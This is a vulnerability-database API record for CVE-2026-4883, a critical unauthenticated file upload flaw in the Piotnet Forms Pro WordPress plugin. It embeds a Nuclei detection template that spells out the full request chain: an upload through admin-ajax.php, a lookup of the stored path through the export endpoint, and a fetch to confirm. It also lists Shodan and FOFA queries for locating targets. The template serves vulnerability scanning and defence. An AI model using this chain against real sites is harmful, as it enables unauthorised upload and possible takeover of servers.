{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-4883/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-4883/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-4883/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-4883/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-4883/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-4883"},"sightings":{"href":"/api/v1/sightings/cve-2026-4883"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-4883.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-4883\n\ninfo:\n  name: Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE\n  author: 0x_Akoko,xShadow-Here\n  severity: critical\n  description: |\n    Piotnet Forms WordPress plugin <= 2.1.40 contains an unrestricted file upload vulnerability caused by incomplete file extension blacklist in 'piotnetforms_ajax_form_builder', letting unauthenticated attackers upload arbitrary files, exploit requires a file field in the form.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n    Update to the latest version of Piotnet Forms plugin.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-4883\n    - https://github.com/xShadow-Here/CVE-2026-4883\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-4883\n    epss-score: 0.03063\n    epss-percentile: 0.87649\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: piotnetforms\n    product: piotnetforms-pro\n    shodan-query: http.html:\"piotnetforms\"\n    fofa-query: body=\"piotnetforms\"\n  tags: cve,cve2026,wordpress,piotnetforms,fileupload,rce,wp-plugin,intrusive,vkev\n\nflow: |\n  http(1);\n  http(2);\n  let raw = String(template[\"upload_path\"] || \"\");\n  let f = String(template[\"fname\"] || \"\");\n  let parts = raw.replace(\"[\", \"\").replace(\"]\", \"\").split(/[\\s,]+/);\n  let chosen = \"\";\n  for (let i = 0; i < parts.length; i++) {\n    if (parts[i] && parts[i].indexOf(\"/\" + f + \"-\") !== -1) {\n      chosen = parts[i];\n    }\n  }\n  if (chosen !== \"\") {\n    set(\"upload_path\", chosen);\n    http(3);\n  }\n\nvariables:\n  fname: \"{{to_lower(rand_base(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        @timeout: 40s\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPF\n        X-Requested-With: XMLHttpRequest\n        Referer: {{BaseURL}}/\n        Connection: close\n\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"action\"\n\n        piotnetforms_ajax_form_builder\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"post_id\"\n\n        1\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"form_id\"\n\n        piotnetforms\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"fields\"\n\n        [{\"name\":\"upload_field\",\"value\":\"\",\"file_name\":[\"{{fname}}.txt\"],\"attach-files\":0,\"type\":\"file\",\"image_upload\":false,\"label\":\"\",\"repeater_id\":\"\",\"repeater_index\":0,\"repeater_label\":\"\"}]\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"referrer\"\n\n        {{BaseURL}}/\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"remote_ip\"\n\n        127.0.0.1\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"upload_field[]\"; filename=\"{{fname}}.txt\"\n        Content-Type: text/plain\n\n        {{fname}}\n\n        ------WebKitFormBoundaryPF--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"\\\"status\\\":1\")'\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        GET /wp-admin/admin-ajax.php?action=piotnetforms_export_form_submission HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Connection: close\n\n    extractors:\n      - type: regex\n        name: upload_path\n        internal: true\n        group: 1\n        part: body\n        regex:\n          - '(/wp-content/uploads/piotnetforms/files/[a-z0-9]{5}-[0-9a-f]{13}\\.txt)'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"/wp-content/uploads/piotnetforms/files/{{fname}}-\")'\n        internal: true\n\n  - raw:\n      - |\n        GET {{upload_path}} HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{{fname}}\")'\n        condition: and\n# digest: 4a0a004730450221008e516a94937acdf840ce2f51c5302f5c16c3df027ab7b26bee9c47318976db23022009a5a24e23e2f98dc9c92c52d30a4ef39c1a3f55825a3744bcf60a9c957e6b19:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-4883"}